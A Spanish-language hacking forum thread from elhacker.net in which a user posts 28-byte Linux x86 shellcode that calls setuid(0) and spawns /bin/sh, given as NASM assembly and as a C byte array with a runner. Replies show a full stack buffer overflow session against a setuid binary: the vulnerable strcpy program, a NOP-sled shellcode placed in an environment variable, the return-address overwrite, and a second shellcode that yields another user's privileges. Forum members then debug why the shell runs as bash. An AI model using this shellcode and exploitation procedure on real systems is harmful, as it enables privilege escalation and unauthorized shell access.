elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls  (Leído 6,066 veces)
sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.606

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« en: 24 Noviembre 2008, 02:23 »

Aquí os dejo una shellcode de 28 bytes estable, para GNU/Linux x86 que ejecuta un setuid(0) y lanza una consola.

Código para nasm
Código
  1. global _start
  2. section .text
  3. _start:
  4. ;setuid(0)
  5. xor ebx,ebx
  6. lea eax,[ebx+17h]
  7. cdq
  8. int 80h
  9. ;execve("/bin/sh",0,0)
  10. xor ecx,ecx
  11. push ecx
  12. push 0x68732f6e
  13. push 0x69622f2f
  14. lea eax,[ecx+0Bh]
  15. mov ebx,esp
  16. int 80h

Código en C
Código
  1. #include <stdio.h>
  2.  
  3. const char shellcode[]= "\x31\xdb"
  4. "\x8d\x43\x17"
  5. "\x99"
  6. "\xcd\x80"
  7. "\x31\xc9"
  8. "\x51"
  9. "\x68\x6e\x2f\x73\x68"
  10. "\x68\x2f\x2f\x62\x69"
  11. "\x8d\x41\x0b"
  12. "\x89\xe3"
  13. "\xcd\x80";
  14.  
  15. int main()
  16. {
  17. printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
  18. "WITHOUT NULLS THAT SPAWNS A SHELL"
  19. "\n\nCoded by Chema Garcia (aka sch3m4)"
  20. "\n\t + sch3m4@opensec.es"
  21. "\n\t + http://opensec.es"
  22. "\n\n[+] Date: 29/11/2008"
  23. "\n[+] Thanks to: vlan7"
  24. "\n\n[+] Shellcode Size: %d bytes\n\n",
  25. sizeof(shellcode)-1);
  26.  
  27. (*(void (*)()) shellcode)();
  28.  
  29. return 0;
  30. }

Más información aquí
« Última modificación: 29 Noviembre 2008, 22:43 por sch3m4 » En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.209



Ver Perfil
Re: Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls
« Respuesta #1 en: 27 Noviembre 2008, 09:29 »

Me va de maravilla el code, como dicen en mi pueblo esta "chingon"

-berz3k.
En línea

AlbertoBSD
Programador y
Colaborador
***
Conectado Conectado

Mensajes: 3.308


Libertad!!!!!


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #2 en: 31 Diciembre 2008, 17:10 »

Pues no me funciono, lo hice tratando de explotar un binario con el bit set uid activado de otro usuario que no fuese root y no funciono, esta hecho solo para exploits que ataquen a binarios de root, pero no para los normales.

Y lo mas raro de todo que cuando atacaba el binario vulnerable con ese shellcode, me ejecutaba un bash y no un sh, ademas lo ejecutaba como lo mencione antes sin los permisos de usurio en cuestion activados.

Saludos.
En línea

sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.606

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #3 en: 31 Diciembre 2008, 17:32 »

Ahora viene cuando digo: "pues a mi me funciona!"...

Fuera de bromas, esta shellcode está más que probada (http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139&postdays=0&postorder=asc&start=0  http://vlan7.blogspot.com/  http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/)

Revisa la configuración de tu sistema, porque lo que dices de que te lanza un bash en lugar de un sh, ""no puede ser"", en el código se ve:

Código:
push 0x68732f6e
push 0x69622f2f

ASCII - Caracter - Hex.
Código:
CHAR(47) /  0x2F
CHAR(98) b  0x62
CHAR(105) i 0x69
CHAR(110) n 0x6E
CHAR(47) /  0x2F
CHAR(115) s 0x73
CHAR(104) h 0x68

Prueba a lanzar un sh usando la interrupción 0Bh, a ver si te lanza un sh o un bash.

Y lo mismo ocurre con los programas que tienen el bit set uid activado. Está probado en muchos entornos, con modificaciones en la pila, registros,parametros, etc.

Puedes pegar todo el proceso que realizas?
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
AlbertoBSD
Programador y
Colaborador
***
Conectado Conectado

Mensajes: 3.308


Libertad!!!!!


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #4 en: 31 Diciembre 2008, 18:29 »

Bien, si aqui esta todo el proceso.

Código
  1. Anon@remotehost:~$ uname -a
  2. Linux remotehost 2.6.27 #1 SMP Fri Nov 14 20:22:51 MSK 2008 i686 GNU/Linux
  3. Anon@remotehost:~$ cd /path/to/bof
  4. Anon@remotehost:/path/to/bof$
  5. Anon@remotehost:/path/to/bof$ cat bof.c
  6. #include <stdio.h>
  7. #include <string.h>
  8.  
  9. int main(int argc, char **argv) {
  10.    char buf[128];
  11.    if(argc < 2) return 1;
  12.    strcpy(buf, argv[1]);
  13.    printf("%s\n", buf);    
  14.    return 0;
  15. }
  16. Anon@remotehost:/path/to/bof$ echo $MESSAGE
  17. You can see this is as classic BoF as that of my  wargame!
  18. Anon@remotehost:/path/to/bof$ ls -l
  19. -r-sr-x--- 1 AnotherUser mygroup 7140 Nov 30  2008 bof
  20. -r--r----- 1 AnotherUser mygroup  178 Oct  2  2008 bof.c
  21. Anon@remotehost:/path/to/bof$ ./bof Hola
  22. Hola
  23. Anon@remotehost:/path/to/bof$ ./bof  `perl -e '{ printf  "A"x200}'`
  24. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  25. Segmentation fault
  26. Anon@remotehost:/path/to/bof$ export EGG=`perl -e '{print "\x90"x10,"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"}'`
  27. Anon@remotehost:/path/to/bof$ /tmp/getenv EGG
  28. EGG is located at 0xbfffdf03
  29. Anon@remotehost:/path/to/bof$ ./bof `perl -e '{ printf  "\x04\xdf\xff\xbf"x48}'`
  30. #<Basura de la salida>
  31. bash-3.1$ id
  32. uid=1004(Anon) gid=1004(Anon) groups=1004(Anon)
  33. bash-3.1$ exit
  34. Anon@remotehost:/path/to/bof$  id
  35. uid=1004(Anon) gid=1004(Anon) groups=1004(Anon)
  36. Anon@remotehost:/path/to/bof$ gcc -v
  37. Using built-in specs.
  38. Target: i486-linux-gnu
  39. Thread model: posix
  40. gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)
  41.  

Yo no dudo que no funcione, estoy seguro que funciona, he visto el codigo y la verdad que la primera vez que lo publicaste, me dije "A este shellcode esta muy pequeño y si funciona lo mas seguro" Vi las instrucciones en ASM y vi que eran muy optimizadas.

Y ahora que tengo un linux para problarlo, no me funcionaron, fue lo que se me hizo mas raro.

Saludos.
« Última modificación: 1 Enero 2009, 15:25 por Anon » En línea

sirdarckcat
Aspirante a supervillano
Moderador Global
***
Desconectado Desconectado

Mensajes: 7.013


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #5 en: 1 Enero 2009, 01:53 »

cuando pones un setuid sale una S grande en el ls -l no?
Código
  1. sdc@porende:~$ ls -l n
  2. -rwSr-Sr-- 1 sdc sdc 1 2008-12-31 18:54 n
--edit--
ah no xD eso es cuando no tiene permisos de ejecucion, olvidenlo
Código
  1. sdc@porende:~$ ls -l n
  2. -rwSr-Sr-- 1 sdc sdc 1 2008-12-31 18:54 n
  3. sdc@porende:~$ chmod ugo+x n
  4. sdc@porende:~$ ls -l n
  5. -rwsr-sr-x 1 sdc sdc 1 2008-12-31 18:54 n

entonces lo que pasa es que AnotherUser no tiene permiso de hacer setuid a root, checa el estado de eax despues de la llamada, y deberia ser <0

Saludos!!
« Última modificación: 1 Enero 2009, 02:00 por sirdarckcat » En línea

AlbertoBSD
Programador y
Colaborador
***
Conectado Conectado

Mensajes: 3.308


Libertad!!!!!


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #6 en: 1 Enero 2009, 03:44 »

Pues lo voy a probar luego, sin embargo segun vi en uno de los links que puso sch3m4 si el programa no tiene los privilegios para hacer setuid a root, de todos modos deberia de retonar el /bin/sh generado por el execve.

Saludos.
« Última modificación: 1 Enero 2009, 03:47 por Anon » En línea

sirdarckcat
Aspirante a supervillano
Moderador Global
***
Desconectado Desconectado

Mensajes: 7.013


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #7 en: 1 Enero 2009, 06:18 »

si, eso es correcto..
que pasa su pones sh en terminal? xD se ejecuta bash?
chanse y tu computadora es rara y sh es un ln a bash o algo asi
En línea

AlbertoBSD
Programador y
Colaborador
***
Conectado Conectado

Mensajes: 3.308


Libertad!!!!!


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #8 en: 1 Enero 2009, 15:20 »

mmm, que wey estoy, si era eso :-X, sin embargo si hace algo diferente a la hora de ejecutar el shellcode de sch3m4, y es lo que se deberia de documentar.

Código
  1. Anon@remotehost:~$ whereis bash
  2. bash: /bin/bash /usr/share/man/man1/bash.1.gz
  3. Anon@remotehost:~$ whereis sh
  4. sh: /bin/sh /usr/share/man/man1/sh.1.gz
  5. Anon@remotehost:~$ ls -l /bin/bash
  6. -rwxr-xr-x 1 root root 677184 Dec 11  2006 /bin/bash
  7. Anon@remotehost:~$ ls -l /bin/sh  
  8. lrwxrwxrwx 1 root root 4 Feb 28  2008 /bin/sh -> bash
  9. Anon@remotehost:~$ sh --version
  10. GNU bash, version 3.1.17(1)-release (i486-pc-linux-gnu)
  11. Copyright (C) 2005 Free Software Foundation, Inc.
  12. Anon@remotehost:~$ sh
  13. sh-3.1$ echo "<< Esto fue lo que me confundio"
  14.  


Ahora ya vimos por que ejecuta bash, ¿Pero aun asi por que pierde los privilegios que deberia de tener?
¿Es por el syslink?, ¿alguna proteccion del kernel al detectar la llamada a setuid?
Sin embargo otros shellcodes si me ejecutan sh en su forma "sh-3.1$" directamente aunque sea un link a bash

Bueno el shellcode de sch3m4 ejecuta bash, sin embargo ejecuto otros shellcodes como:

Citar
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh

Código
  1. Anon@remotehost:/path/to/bof$ export EGG=`perl -e '{print "\x90"x10,"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"}'`
  2. Anon@remotehost:/path/to/bof$ /tmp/getenv EGG
  3. EGG is located at 0xbfffb7f6
  4. Anon@remotehost:/path/to/bof$ ./bof `perl -e '{print "\xf6\xb7\xff\xbf"x60 }'`
  5. #<Basura de la salida>
  6. sh-3.1$ id
  7. uid=1004(Anon) gid=1004(Anon) euid=1005(AnotherUser) groups=1004(Anon)
  8.  

Este ultimo si me devuel el shell de sh, y ademas con los privilegios requeridos.
Saludos.
« Última modificación: 1 Enero 2009, 15:33 por Anon » En línea

sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.606

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls
« Respuesta #9 en: 1 Enero 2009, 20:24 »

Tienes el código en ensamblador de la shellcode que te funciona, o puedes depurarla y compararla con esta? No he probado la shellcode en un 486, pero en principio no hay variaciones.
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes « 1 2 »
Bugs y Exploits
Garfield07 15 6,987 Último mensaje 20 Enero 2011, 00:47
por leucocito
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines